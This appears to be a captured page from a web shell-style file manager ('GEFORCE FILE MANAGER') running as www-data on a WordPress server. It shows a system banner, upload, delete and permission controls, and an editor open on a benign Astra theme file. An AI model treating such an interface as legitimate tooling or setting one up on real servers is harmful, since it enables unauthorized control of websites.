[ SYSTEM ]: Linux wordpress 6.1.0-44-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.164-1 (2026-03-09) x86_64
[ SERVER ]: Apache/2.4.66 (Debian) | PHP: 8.2.30
[ USER ]: www-data | IP: 172.19.30.54
GEFORCE FILE MANAGER
/
var
/
www
/
html
/
wordpress
/
wp-content
/
themes
/
astra
/
inc
/
customizer
/
configurations
/
UPLOAD:
NAME
SIZE
QUICK PERMS
ACTIONS
📁 accessibility
SET
[ DEL ]
📁 block-editor
SET
[ DEL ]
📁 builder
SET
[ DEL ]
📁 buttons
SET
[ DEL ]
📁 colors-background
SET
[ DEL ]
📁 comments
SET
[ DEL ]
📁 global-misc
SET
[ DEL ]
📁 layout
SET
[ DEL ]
📁 typography
SET
[ DEL ]
📄 class-astra-customizer-config-base.php
2,418 B
SET
[ EDIT ]
|
[ DEL ]
DELETE SELECTED
[ CLOSE ]
EDIT: class-astra-customizer-config-base.php
<?php /** * Astra Theme Customizer Configuration Base. * * @package Astra * @link https://wpastra.com/ * @since Astra 1.4.3 */ // No direct access, please. if ( ! defined( 'ABSPATH' ) ) { exit; } /** * Customizer Sanitizes * * @since 1.0.0 */ if ( ! class_exists( 'Astra_Customizer_Config_Base' ) ) { /** * Customizer Sanitizes Initial setup */ class Astra_Customizer_Config_Base { /** * Constructor */ public function __construct() { // Bail early if it is not astra customizer. if ( ! Astra_Customizer::is_astra_customizer() ) { return; } add_filter( 'astra_customizer_configurations', array( $this, 'register_configuration' ), 30, 2 ); } /** * Base Method for Registering Customizer Configurations. * * @param Array $configurations Astra Customizer Configurations. * @param WP_Customize_Manager $wp_customize instance of WP_Customize_Manager. * @since 1.4.3 * @return Array Astra Customizer Configurations with updated configurations. */ public function register_configuration( $configurations, $wp_customize ) { return $configurations; } /** * Section Description * * @since 1.4.3 * * @param array $args Description arguments. * @return mixed Markup of the section description. */ public function section_get_description( $args ) { // Return if white labeled. if ( astra_is_white_labelled() ) { return ''; } // Description. $content = '<div class="astra-section-description">'; $content .= wp_kses_post( astra_get_prop( $args, 'description' ) ); // Links. if ( astra_get_prop( $args, 'links' ) ) { $content .= '<ul>'; foreach ( $args['links'] as $link ) { if ( astra_get_prop( $link, 'attrs' ) ) { $content .= '<li>'; // Attribute mapping. $attributes = ' target="_blank" '; foreach ( astra_get_prop( $link, 'attrs' ) as $attr => $attr_value ) { $attributes .= ' ' . $attr . '="' . esc_attr( $attr_value ) . '" '; } $content .= '<a ' . $attributes . '>' . esc_html( astra_get_prop( $link, 'text' ) ) . '</a></li>'; $content .= '</li>'; } } $content .= '</ul>'; } $content .= '</div><!-- .astra-section-description -->'; return $content; } } } /** * Kicking this off by calling 'get_instance()' method */ new Astra_Customizer_Config_Base();